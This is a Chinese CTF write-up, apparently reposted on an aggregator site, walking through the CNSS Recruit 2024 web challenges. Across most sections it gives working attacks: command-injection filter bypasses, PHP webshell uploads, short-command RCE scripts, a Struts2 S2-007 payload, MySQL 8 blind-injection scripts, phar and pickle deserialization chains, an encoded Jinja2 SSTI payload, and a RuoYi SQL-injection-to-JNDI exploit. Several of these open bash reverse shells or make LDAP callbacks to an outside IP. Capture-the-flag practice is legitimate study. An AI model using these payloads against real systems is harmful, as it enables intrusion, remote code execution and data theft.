欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > CNSS Recruit 2024 Web方向 题解WriteUp

CNSS Recruit 2024 Web方向 题解WriteUp

2025/2/9 3:53:10 来源:https://blog.csdn.net/Jayjay___/article/details/142147166  浏览:    关键词:CNSS Recruit 2024 Web方向 题解WriteUp

文章首发于【先知社区】:https://xz.aliyun.com/t/15586

babyHTTP

image-20240807211545505

开题,Http传参问题

image-20240807211610189

GET:
?CNSS=hackers

image-20240807211653991

POST:
web=fun

image-20240807211708799

Cookie:
admin=true

image-20240807211742583

PHPinfo

image-20240807211812833

开题

image-20240807211834499

根据题目描述,猜测phpinfo.php文件有东西。

phpinfo里面包含了php环境绝大部分信息,当然也有flag

image-20240807211906991

我得再快点

image-20240807213557132

开题,一秒一遍,写自动化脚本吧

image-20240807213828675

脚本思路:

获取key,md5加密,发送到/check?value=

from selenium import webdriver
from selenium.webdriver.common.by import By
import hashlib
import requests
import time# 定义要请求的URL
url = 'http://152.136.11.155:10103/'
url_check = 'http://152.136.11.155:10103/check'# 定义定时刷新的时间间隔(以秒为单位)
refresh_interval = 1  # 1秒def get_key():try:driver.get(url)time.sleep(1)  # 等待页面加载key_element = driver.find_element(By.XPATH, "//p[contains(text(),'Key :')]")key_text = key_element.textkey = key_text.split('Key : ')[1]return keyexcept Exception as e:print(f"Failed to fetch key from page: {e}")return Nonedef md5_encrypt(key):md5_hash = hashlib.md5()md5_hash.update(key.encode('utf-8'))return md5_hash.hexdigest()def send_encrypted_key(encrypted_key):try:response = requests.get(url_check, params={'value': encrypted_key})response.raise_for_status()print(f"Response from /check: {response.text}")except requests.RequestException as e:print(f"Failed to send encrypted key: {e}")if __name__ == "__main__":driver = webdriver.Chrome()try:while True:key = get_key()print(key)if key:encrypted_key = md5_encrypt(key)send_encrypted_key(encrypted_key)time.sleep(refresh_interval)finally:driver.quit()

image-20240807215255524

Ping

image-20240807215447580

开题,是自动ping一个ip然后返回结果

image-20240807215922103

nl2br是一个格式整理函数,在字符串中的新行(\n)之前插入换行符

image-20240807222204337

这个ping函数查不到,应该是自定义函数。这题感觉猜测是在函数内部执行了ping命令,应该是用分隔符去截断做。

分隔符被过滤了|;&还能用%0a

ip=127.0.0.1%0als

image-20240807222148768

控股也被过滤了,用%09也就是tab绕过,读一下源码

ip=127.0.0.1%0acat%09index.php
<?php
function validate_input($input) {$invalid_chars = array("sh","bash","chown"," ", "chmod", "echo", "+", "&",";", "|", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]");foreach ($invalid_chars as $invalid_char) {if (strpos($input, $invalid_char) !== false) {return false;}}if (preg_match("/.*f.*l.*a.*g.*/", $input)) {return false;}return true;
}function ping($ip_address) {if (!validate_input($ip_address)) {return "Error: Invalid input.";}$cmd = "ping -c 2 " .$ip_address;exec($cmd, $output, $return_code);if ($return_code !== 0) {echo("Error: Failed to execute command.");}return implode("\n", $output);
}if (isset($_POST['ip'])) {$ip = $_POST['ip'];$ping_result = ping($ip);echo nl2br($ping_result); // 输出ping结果并保留换行
}
?>

payload:

ip=127.0.0.1%0acat%09/f*

image-20240807222306986

linux常用命令合集:

ls   ##查看目录
ls /  ##列出根目录(\)下的所有目录:
echo `tac% fla*`;   ##反字节符
cp fl*g.php a.txt   ##将flag.php拷贝到a.txt
cd ..或者cd ../   ##达到访问上一个目录的目的##../和~/是目录跳转符
tac   ##tac flag 反序输出文件内容
cat   ##
tac /flag   ##抓在根目录的flag
find / -name fla*   ##找到文件名匹配fla*的文件
tac/cat $(find / -name fla*)   ##打印所有文件名匹配fla*的文件
find /html/WWW/ -name fla*  :在某目录下查找包含fla*的文件
find / -type f -exec grep -Hn "flag{" {} \;
dir /   查看根目录
find / -user root -perm -4000 -print 2>/dev/null   #查看suid权限文件
---------------------------------------------------------------------
mv fl?g.php 1.txt   ##将flag.php改名为1.txt
cp fla?.??? 1.txt      ##将flag.php复制给1.txt
nl flag.php>x.txt
tee file1.txt file2.txt //复制文件
tac /f149_15_h3r3|tee 2awk '/xxx/' fla?.php   ##输出flag文件中包含字符xxx的行
awk '/xxx/{print}' fla?.php  ##输出flag文件中包含字符xxx的行?c=grep 'ctfshow' flag.php
(在 fl???php匹配到的文件中,查找含有ctfshow的文件,并打印出包含 ctfshow 的这一行)cat `ls`    ##直接将当前目录下所有文件打印出来,先执行反引号
#cat `ls`->cat 当前所有文件名->当前目录下所有文件打印出来system("cat flag.php|base64") //把flagbase64编码后输出system("base64 flag.php") //把flagbase64编码后输出
--------------------------------------------------------------------
在linux中与cat有类似功能的有如下字符
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev、awk
more:一页一页的显示档案内容    more flag.php
less:与 more 类似   less flag.php
head:查看头几行  head flag.php
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行  tail flag.php
nl:显示的时候,顺便输出行号  nl flag.php   
od:以二进制的方式读取档案内容  od flag.php
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看     sort flag.php
uniq:可以查看
file -f:报错出具体内容
rev:将文件倒序输出。
strings:strings flag.phpgrep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
-----------------------------------------------------------------------

CNSS娘の宠物商店

image-20240807205258624

开题,需要登录。(前端好看

image-20240807205447973

模糊字典测一下,发现登录处存在sql注入。

image-20240807205428813

结合题目描述猜测是用万能密码进行登录。

image-20240807205410810

image-20240807205401421

2048

image-20240807222608925

一眼前端游戏题

image-20240808111207939

ban了 F12、Ctrl+U。鼠标表点击谷歌开发者工具就行。

源代码里面搜索alert、score、flag、cnss。有score也就是记录分数的变量。

开启一局游戏,随便玩几下

image-20240808111547682

然后控制台输入score=9999999999999999999999修改分数

image-20240808111611679

点击flag拿flag。

image-20240808111517363

看得出来flag是alert出来的,源码看看flag如何出来的

有一个getflag函数,进行了加密(混淆)

image-20240808111851353

换个头像先

image-20240808112821547

应该是个文件上传。开题需要登录

image-20240808112847578

注册个账号然后登录

image-20240808112927882

更换头像,抓包。前端限制了后缀,上传个jpg后缀的php木马上去

image-20240808113037984

改成php后缀

image-20240808113205624

没给上传到哪的路径,不急,Ctrl+U前端源码看看

点击访问

image-20240808113237085

已经tac到了flag

image-20240808113304310

can can need shell

image-20240808113343392

开题,直接给了源码

image-20240808144350780

是个文件上传,后缀和内容均有过滤。题目没有上传按钮,应该是我自己写一个html表单上传,注意name="uploaded_file"

<form action="http://152.136.11.155:10108/" enctype="multipart/form-data" method="post" ><input name="uploaded_file" type="file" /><input type="submit" type="gogogo!" /></form>

抓个包慢慢调,后缀是php确定了,其他后缀不解析,看看内容怎么绕过滤

内容过滤是这些:

$dangerous = array('eval',"[","]","`","*","+","|","url","flag","{","}","@","(",")");

呜,过滤了括号我很难做阿,难做那就别做了(bushi

首要思路是找个可以不用括号的函数,看下图你应该懂我意思了吧

image-20240808151650246

include不用括号也行,同时只包含内容不管后缀即文件种类

那我们上传一个带马的jpg。

image-20240808151912279

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.jpg"
Content-Type: application/octet-stream<?php eval($_POST[1]);echo 'include success!!!'?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

然后上传一个php去包含之前的jpg

image-20240808152049757

------WebKitFormBoundary6ofY3JQEOAOo4nWV
Content-Disposition: form-data; name="uploaded_file"; filename="myshell.php"
Content-Type: application/octet-stream<?php
include '../a3a3ba08c46190b5eb693450637552d5/c8f8f62b73b118b60546893b80b08a48.jpg';
echo 'this is include';
?>
------WebKitFormBoundary6ofY3JQEOAOo4nWV--

访问一下,从echo来看包含成功了,getshell就行

image-20240808152137864

image-20240808152201472

此外还有一个payload,上传一个文件就行:

<?php 
include"php://filter/convert.base64-encode/resource=/fl"."ag";

EZRCCCCE

image-20240808152956216

开题,直接给了源码

image-20240808153107728

<?php
highlight_file(__FILE__);
$sandbox = './sandbox/' . md5("Th1s_is_4_sandbox" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
function filter($a){$a = preg_replace("/(flag|\*|\/|cat|php|bash|txt|tac)/i", "hehehehe", $a);return $a;}
if (isset($_GET['6']) && strlen($_GET['6']) < 8) {   //try to keep fit!echo(exec(filter($_GET['6'])));
}
?>

限制了输入的长度、具备少量WAF。

WAF绕过不难,最容易想到的就是同义替换或者base64

主要是思考如何突破长度限制

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \,可以将一条命令写在多行
比如我们有一个test文件内容如下:

ec\
ho \
hello \
world!

然后我们用sh命令来执行一下,成功输出了 hello world

sh test

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch a
touch b
touch c
ls -t

image-20240907045305157

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件

ls -t>test
cat test

image-20240907045419600

> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _

image-20240907045635769

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令,就会出现下面这种情况:

image-20240907045835984

输入通配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id 
>root
*

image-20240907052348379

讲清楚原理后开始做题。

pwd查看当前可写入的目录

image-20240907083223831

#写入语句
<?php eval($_GET[1]);#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

依次输入:

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
nl 0
sh 0

或者:

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f            

脚本:

import requestsurl = "http://152.136.11.155:10109/?6={0}"
cookies = {"PHPSESSID": "1be0406b25e76622ec8aece860d13e82"}  # 添加PHPSESSID cookieprint("[+] Start attack!!!")
with open("results.txt", "r") as f:for i in f:print("[*] " + url.format(i.strip()))requests.get(url.format(i.strip()), cookies=cookies)  # 传入cookies# 检查是否攻击成功
test = requests.get("http://152.136.11.155:10109/sandbox/85323d93cc57664e7b283ecce923a707/1.php", cookies=cookies)  # 传入cookies
if test.status_code == requests.codes.ok:print("[*] Attack success!!!")

image-20240907083428462

访问/sandbox/85323d93cc57664e7b283ecce923a707/1.php?1=system('ls /');getshell

image-20240907083658945


结尾再放一下其他的payload:

空格需要转义

>\ \\

构造空格就用去了五个字符,反弹shell语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/124.71.147.99/1717 0>&1

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件

ls命令排序的规则是空格和符号最前,数字其次,字母最后

参考以下脚本写法:

#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="s = requests.session()# 将ls -t 写入文件_
list=[">ls\\","ls>_",">\ \\",">-t\\",">\>y","ls>>_"
]
# curl 120.79.33.253|bash
list2=[">bash",">\|\\",">53\\",">2\\",">3.\\",">3\\",">9.\\",">7\\",">0.\\",">12\\",">\ \\",">rl\\",">cu\\"
]
for i in list:url = baseurl+str(i)s.get(url)
for j in list2:url = baseurl+str(j)s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

Tomcat?cat~

image-20240808163119493

估计是java题,开题

image-20240808163725093

源码发现是struts2的漏洞

image-20240808163735927

结合登录框特征,应该是S2-007,在age处注入Payload

/user.action
POST:
name=&email=&age=%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29.getInputStream%28%29%29%29+%2B+%27

image-20240808170218583

flag在/usr/local/tomcat/webapps/flaaaaaaag/flag.jsp

image-20240808183610511

newsql

image-20240807211514411

开题,id应该是注入点了

image-20240808205920451

存在过滤

image-20240808210016736

模糊测试测一下,响应大小为7的都是被过滤的

image-20240808210230581

过滤如下

;
select
union
where
order
having

闭合为空,数字型

/?id=1 and 1=1--+
/?id=1 and 1=2--+

image-20240808214146728

image-20240808214157558

MYSQL8.0新特性注入

Pwnhub2021七月赛NewSql(mysql8注入)_mysql8.0新特性注入ctf-CSDN博客

MYSQL8.0注入新特性 - 先知社区 (aliyun.com)

【网安干货】MySQL8新特性注入技巧_mysql8.0.19还是8.0.21-CSDN博客

先手动盲注一下,可行

?id=1 and substr((database()),1,4)='cnss'
?id=1 and ((binary'mysqk','')<(table/**/information_schema.TABLESPACES_EXTENSIONS/**/limit/**/0,1))#

image-20240907085937841

image-20240907091129254

写个自动化脚本:(没写完)

import requestsurl="http://152.136.11.155:10111"flag=""
for i in range(100):for j in "!#$%&()*+,-/0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~":# payload = "1 and ((binary'{}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 7,1))#".format(flag+j)payload = "1 and (('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(table information_schema.tables limit 8,1))#".format(flag+j)# payload = "1 and if(('def','cnss','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE information_schema.tables limit {},1),0,1)"# payload = "1 and ('def','cnss','cn55','{}',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)<(TABLE cn55 limit {},1)".format(flag+j,i)# payload = "1 and (('1',binary'{}')<(table cnss.cn55 limit 0,1))#".format(flag+j)data={'id':payload}# r = requests.post(url=url, data=data)r = requests.get(url=url, params=data)# print(payload)# print(flag+j)# print(len(r.text))# print(r.text)if len(r.text) == 102:flag += chr(ord(j)-1)print(flag)breakif j == "~":flag = flag[:len(flag)-1]+chr(ord(flag[-1])+1)print(flag)exit()#库/表:mysql,innodb_system,innodb_temporary,innodb_undo_001,innodb_undo_002,sys/sys_config,cnss/users,cnss/cn55,cnss/uagents,cnss/referers

where is my unserialize?

image-20240808215257471

开题,三个功能点:

image-20240904124915167

文件读取

image-20240904124935451

文件上传

image-20240904124928895

可读取文件:

index.php

base.php

function.php

class.php

upload_file.php

file.php

upload_file.php有文件上传,file.php可以文件读取,class.php有恶意类。

phar反序列化包包的。

class.php

<?php
class CNSS
{public $shino;public $shin0;public $name;public function __construct($name){$this->name=$name;}public function __wakeup(){$this->shin0 = 'cnss';$this->_sayhello();}public function _sayhello(){echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');}public function __destruct(){$this->shin0 = $this->name;echo $this->shin0.'<br>';}
}class CN55
{public $source;public $params;public function __construct(){$this->params = array();}public function __invoke(){return $this->_get('key');}public function _get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}class Show
{public $key;public $haha;public function __construct($file){$this->key = $file;echo $this->key.'<br>';}public function __toString(){$func = $this->haha['hehe'];return $func();}public function __call($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('<h1>hackerrrrrr!<br>join CNSS~<h1>');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?echo "hacker~";$this->source = "index.php";}}}
?>

反序列化链:

CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)

生成phar:

<?php
class CNSS
{public $shino;public $shin0;public $name;public function __construct($name){$this->name=$name;}public function __wakeup(){$this->shin0 = 'cnss';$this->_sayhello();}public function _sayhello(){echo ('<h1>I know you are in a hurry, but don not rush yet.<h1>');}public function __destruct(){$this->shin0 = $this->name;echo $this->shin0.'<br>';}
}class CN55
{public $source;public $params;public function __construct(){$this->params = array();}public function __invoke(){return $this->_get('key');}public function _get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}class Show
{public $key;public $haha;public function __construct($file){$this->key = $file;echo $this->key.'<br>';}public function __toString(){$func = $this->haha['hehe'];return $func();}public function __call($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('<h1>hackerrrrrr!<br>join CNSS~<h1>');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {   //Do you know 'Php ARchive'?echo "hacker~";$this->source = "index.php";}}}//CNSS::__construct($name)->CNSS::__destruct()->Show::->__toString()->CN55::__invoke()->CN55::_get($key)->CN55::file_get($value)$Jay17=new Show('j47');
$a=new CNSS($Jay17);
$Jay17->haha['hehe']=new CN55();
$Jay17->haha['hehe']->params['key']='file:///var/www/html/f1ag.php';//删除原来的phar包,防止重复
//@unlink("xxx.phar");
//后缀名必须为phar
$phar = new Phar("xxx.phar");
$phar->startBuffering();
//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");//将自定义的meta-data存入manifest
$phar->setMetadata($a);
//添加要压缩的文件,这个文件没有也没关系,走个流程
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
echo "done.";

修改后缀后上传

image-20240904160746420

image-20240904160805540

翻翻源码看一下上传文件的存储位置。phar协议解析就行。

/file.php?file=phar:///var/www/html/upload/a976285aa6d6096e9edd17db289a73a9.jpg

image-20240904160849459

image-20240904160859490

CNSS娘の聊天室

image-20240810220046553

开题,输入什么输出什么,怀疑是SSTI

image-20240810220120021

后端是python,测一下Jinja2

image-20240810220211444

{{7*7}}

还真有

image-20240810220234856

试一试最原始的payload。看看是不是上过滤了

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

发现英文被过滤了。。。只过滤了26个字母,英文符号没事

image-20240810220500827

思路是用八进制代替英文字母,unicode和十六进制都会有英文出现。

原始payload:

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

转八进制

.__class__转为['XXXXXX']
[0]不动
()不动
['eval']转为['XXXXXX']
('__import__("os").popen("ls /").read()')转为('XXXXXX')

payload:

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\040\057\042\051\056\162\145\141\144\050\051')}}

image-20240810225935599

读取flag

{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[133]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\143\141\164\040\057\146\061\061\061\061\061\061\061\061\061\061\061\061\061\061\061\064\147\056\164\170\164\042\051\056\162\145\141\144\050\051')}}

image-20240810230026637

没有人比我更懂RuoYi

image-20240807205532084

看题目描述,若依的版本是v4.7.7,屏蔽定时任务bean违规的字符但是没屏蔽干净,造成了漏洞。

尝试了一下4.7.6 版本 任意文件下载漏洞,已经失效了。

image-20240907020508411

参考文章:

若依4.7.8版本计划任务rce复现_若依计划任务rce-CSDN博客

POC/RuoYi/RUOYI-v4.7.8存在远程代码执行漏洞.md at main · wy876/POC · GitHub

这题有师傅写wp了,写的很好:ruoyi-v4.7.8-RCE分析 - EddieMurphy’s blog (eddiemurphy89.github.io)

开始做题。

第一步是计划任务sql注入

先验证一下4.7.8计划任务sql注入

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'test~' WHERE job_id = 1;')

image-20240907022631963

payload中的sql语句以及被执行,作用是修改id为1的计划任务的值为test~。验证成功

image-20240907022655650

第二步是计划任务命令执行

开启监听验证漏洞 payload:

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1717')

将上面的payload进行十六进制编码:

0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729

将编码后的payload带入下面的payload中:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313731372729 WHERE job_id = 2;')

上面payload的作用是利用之前的sql注入漏洞,修改job_id为2的计划任务内容,将该计划任务执行的命令改为我们构造好的payload。

image-20240907023130407

image-20240907023202151

更多操作->执行一次id为2的任务,收到监听

image-20240907023310115

rce可行。我们接下来使用JNDI反弹shell。

先下好工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/releases

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuMTQ3Ljk5LzE3MTcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 124.71.147.99

image-20240907031217483

javax.naming.InitialContext.lookup('ldap://124.71.147.99:1389/remoteExploit8')
0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F3132342E37312E3134372E39393A313338392F72656D6F74654578706C6F6974382729 WHERE job_id = 3;')

image-20240907025505515

image-20240907031120090

image-20240907031134727

结尾列一下若依的历史漏洞

CNSS娘のFlag商店

image-20240809075621948

开题,/code路由下载源码

NAME = "Rich"
MONEY = 2000def reset():global NAME, MONEYNAME = "Rich"MONEY = 2000
# encoding: utf-8
import os
import pickleimport buyInfo
import flaskapp = flask.Flask(__name__)
flag = os.environ.get('FLAG')class Hi():def __init__(self, name, money):self.name = nameself.money = moneydef __eq__(self, other):return self.name == other.name and self.money == other.money@app.route('/')
def index():user = flask.request.args.get('user')if user is None:return 'View code in /code to buy flag.'if 'R' in user.upper():return '臭要饭的别挡我财路'user = pickle.loads(user.encode('utf-8'))print(user.name, user.money)print(buyInfo.NAME,  buyInfo.MONEY)if user == Hi(buyInfo.NAME,  buyInfo.MONEY):buyInfo.reset()return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'return '臭要饭的别挡我财路'@app.route('/code')
def code():file = 'code.zip'return flask.send_file(file, mimetype='application/zip')if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

核心代码是这段:

@app.route('/')
def index():user = flask.request.args.get('user')if user is None:return 'View code in /code to buy flag.'if 'R' in user.upper():return '臭要饭的别挡我财路'user = pickle.loads(user.encode('utf-8'))print(user.name, user.money)print(buyInfo.NAME,  buyInfo.MONEY)if user == Hi(buyInfo.NAME,  buyInfo.MONEY):buyInfo.reset()return f'CNSS娘最喜欢富哥啦,这是你要的flag {flag}'return '臭要饭的别挡我财路'

pickle.loads()函数是漏洞点,pickle反序列化。其实有pickle反序列化直接弹shell就行,但是这里根着题目意思来。

__eq__(self, other)方法在Python中是一个特殊的方法,用于定义当使用等号运算符(==)比较两个类的实例时的行为。

如果你在类中实现了__eq__方法,那么你就告诉Python,应该如何判断两个该类的实例是否相等。默认情况下,如果你没有定义__eq__,两个类的实例只有在它们是内存中同一个对象时(即具有相同的身份)才会被认为是相等的。但是,如果你想根据某些属性来判断两个实例是否相等,就需要定义__eq__方法。

Hi类中,__eq__方法的定义如下:

def __eq__(self, other):return self.name == other.name and self.money == other.money

这个方法用于比较两个Hi类的实例(selfother)。它检查两个实例的namemoney属性是否相等。如果它们都相等,则方法返回True,表示这两个实例是相等的。否则,返回False

举个例子:

person1 = Hi("Alice", 100)
person2 = Hi("Alice", 100)
person3 = Hi("Bob", 200)print(person1 == person2)  # 这将打印True,因为name和money属性都相等
print(person1 == person3)  # 这将打印False,因为name或money属性不相等

因此,__eq__方法实际上是实现用户在自定义比较Hi类的实例时,实现==运算符的含义。

虽然这题和自助商店一样可以直接打RCE,但是我们还是做一下预期解。

预期解是我们序列化一个对象即可,name、money和buyInfo对象的name、money相等就行,

对象名字任意取,不用R。

可以先看一个test脚本:

import pickle
import osclass Person():def __init__(self):self.age = 18self.name = "Pickle"# def __reduce__(self):#     command = r"whoami"#     return (os.system, (command,))p = Person()
opcode = pickle.dumps(p)
print(opcode)P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

if 'R' in user.upper():payload里面不能有R字符,之前有想过不给用R那名字里面的Rich怎么办,后来发现不一定要直接传值。还记得c指令码吗?它专门用来获取一个全局变量。

看0x07:从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

payload:

(V\u0052\u0069\u0063\u0068%0aI2000%0ai__main__%0aHi%0a.(i__main__%0AHi%0A(dS'money'%0AI2000%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.(i__main__%0AHi%0A(dS'money'%0AcbuyInfo%0AMONEY%0AsS'name'%0AcbuyInfo%0ANAME%0Asb.

CNSS娘の自助Flag商店

image-20240807205727858

/code路由可以拿到源码

NAME = "Rich"
MONEY = 2000def reset():global NAME, MONEYNAME = "Rich"MONEY = 2000
# encoding: utf-8
import pickleimport flask
import buyInfoapp = flask.Flask(__name__)
# flag is in /flag.txtclass Hi():def __init__(self, name, money):self.name = nameself.money = moneydef __eq__(self, other):return self.name == other.name and self.money == other.money@app.route('/')
def index():user = flask.request.args.get('user')if user is None:return 'View code in /code to buy flag.'if 'R' in user.upper():return '臭要饭的别挡我财路'user = pickle.loads(user.encode('utf-8'))if user == Hi(buyInfo.NAME, buyInfo.MONEY):buyInfo.reset()return '你说得对,但是上次CNSS娘被你骗了之后很伤心,把商店改成了自助flag商店,你得自己找flag'return '臭要饭的别挡我财路'@app.route('/code')
def code():file = 'code.zip'return flask.send_file(file, mimetype='application/zip')if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

pickle反序列化。if 'R' in user.upper():禁用了R字符。像[2021极客巅峰 opcode],参考文章:CTF题型 Python中pickle反序列化进阶利用&opcode绕过_ctf opcode-CSDN博客

这个有R被ban了

cos
system
(S'whoami'
tR.

下面两个都可以用

(S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
ios
system
.
(cos
system
S'bash -c 'sh -i >& /dev/tcp/124.71.147.99/1717 0>&1''
o.

payload:(要URL编码一下)

/?user=(S'bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.71.147.99%2F1717%200%3E%261''%0Aios%0Asystem%0A.

image-20240807211133061

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com